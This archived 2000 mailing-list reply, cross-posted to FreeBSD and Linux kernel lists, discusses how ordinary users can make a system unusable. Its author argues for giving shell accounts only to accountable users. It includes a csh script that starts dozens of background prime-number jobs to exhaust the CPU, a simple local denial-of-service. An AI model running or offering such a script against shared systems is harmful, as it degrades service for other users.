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Date:      Wed, 22 Mar 2000 15:55:17 -0600 (CST)
From:      Jim Bryant <jbryant@ppp-207-193-186-239.kscymo.swbell.net>
To:        bright@wintelcom.net (Alfred Perlstein)
Cc:        rminnich@lanl.gov, hackers@FreeBSD.ORG, linux-kernel@vger.rutgers.edu, Michael.Lampe@iwr.uni-heidelberg.de
Subject:   Re: How a normal user can crash any linux system (fwd)
Message-ID:  <200003222155.PAA35282@ppp-207-193-186-239.kscymo.swbell.net>
In-Reply-To: <20000322102407.K7305@fw.wintelcom.net>

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In reply:
> This is cross-posted to both linux-kernel and freebsd-hackers, please
> set your replies properly.
> 
> > I found the following by accident playing with PVM. If you start the
> > 'gexample' from the examples directory with dimension=10000 and no of
> > tasks=32 on one machine, it becomes almost immediately completely un-
> > usable and begins with heavy swapping. Considering how much memory
> > would be necessary for this computation before starting it would have
> > avoided the trouble.

well, there are other ways to make a system slow to a crawl....

a good preventative measure is to never give shell accounts unless
everyone is accountable.

#!/bin/csh
/usr/games/primes 1 4294967295 >&/dev/null&
/usr/games/primes 1 4294967295 >&/dev/null&
/usr/games/primes 1 4294967295 >&/dev/null&
/usr/games/primes 1 4294967295 >&/dev/null&
/usr/games/primes 1 4294967295 >&/dev/null&
/usr/games/primes 1 4294967295 >&/dev/null&
/usr/games/primes 1 4294967295 >&/dev/null&
/usr/games/primes 1 4294967295 >&/dev/null&
/usr/games/primes 1 4294967295 >&/dev/null&
/usr/games/primes 1 4294967295 >&/dev/null&
/usr/games/primes 1 4294967295 >&/dev/null&
/usr/games/primes 1 4294967295 >&/dev/null&
/usr/games/primes 1 4294967295 >&/dev/null&
/usr/games/primes 1 4294967295 >&/dev/null&
/usr/games/primes 1 4294967295 >&/dev/null&
/usr/games/primes 1 4294967295 >&/dev/null&
/usr/games/primes 1 4294967295 >&/dev/null&
/usr/games/primes 1 4294967295 >&/dev/null&
/usr/games/primes 1 4294967295 >&/dev/null&
/usr/games/primes 1 4294967295 >&/dev/null&
/usr/games/primes 1 4294967295 >&/dev/null&
/usr/games/primes 1 4294967295 >&/dev/null&
/usr/games/primes 1 4294967295 >&/dev/null&
/usr/games/primes 1 4294967295 >&/dev/null&
/usr/games/primes 1 4294967295 >&/dev/null&
/usr/games/primes 1 4294967295 >&/dev/null&
/usr/games/primes 1 4294967295 >&/dev/null&
/usr/games/primes 1 4294967295 >&/dev/null&
/usr/games/primes 1 4294967295 >&/dev/null&
/usr/games/primes 1 4294967295 >&/dev/null&
/usr/games/primes 1 4294967295 >&/dev/null&
/usr/games/primes 1 4294967295 >&/dev/null&
/usr/games/primes 1 4294967295 >&/dev/null&
/usr/games/primes 1 4294967295 >&/dev/null&
/usr/games/primes 1 4294967295 >&/dev/null&
/usr/games/primes 1 4294967295 >&/dev/null&
/usr/games/primes 1 4294967295 >&/dev/null&
/usr/games/primes 1 4294967295 >&/dev/null&
/usr/games/primes 1 4294967295 >&/dev/null&
/usr/games/primes 1 4294967295 >&/dev/null&
/usr/games/primes 1 4294967295 >&/dev/null&
/usr/games/primes 1 4294967295 >&/dev/null&
/usr/games/primes 1 4294967295 >&/dev/null&
/usr/games/primes 1 4294967295 >&/dev/null&
/usr/games/primes 1 4294967295 >&/dev/null&
/usr/games/primes 1 4294967295 >&/dev/null&
/usr/games/primes 1 4294967295 >&/dev/null&
/usr/games/primes 1 4294967295 >&/dev/null&
/usr/games/primes 1 4294967295 >&/dev/null&
/usr/games/primes 1 4294967295 >&/dev/null&
/usr/games/primes 1 4294967295 >&/dev/null&
/usr/games/primes 1 4294967295 >&/dev/null&
/usr/games/primes 1 4294967295 >&/dev/null&
/usr/games/primes 1 4294967295 >&/dev/null&
/usr/games/primes 1 4294967295 >&/dev/null&
/usr/games/primes 1 4294967295 >&/dev/null&
/usr/games/primes 1 4294967295 >&/dev/null&
/usr/games/primes 1 4294967295 >&/dev/null&
/usr/games/primes 1 4294967295 >&/dev/null&
/usr/games/primes 1 4294967295 >&/dev/null&
/usr/games/primes 1 4294967295 >&/dev/null&
/usr/games/primes 1 4294967295 >&/dev/null&
# etc, ...
#
# [get the idea?]

jim
-- 
All opinions expressed are mine, if you    |  "I will not be pushed, stamped,
think otherwise, then go jump into turbid  |  briefed, debriefed, indexed, or
radioactive waters and yell WAHOO !!!      |  numbered!" - #1, "The Prisoner"
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  ET has one helluva sense of humor, always anal-probing right-wing schizos!


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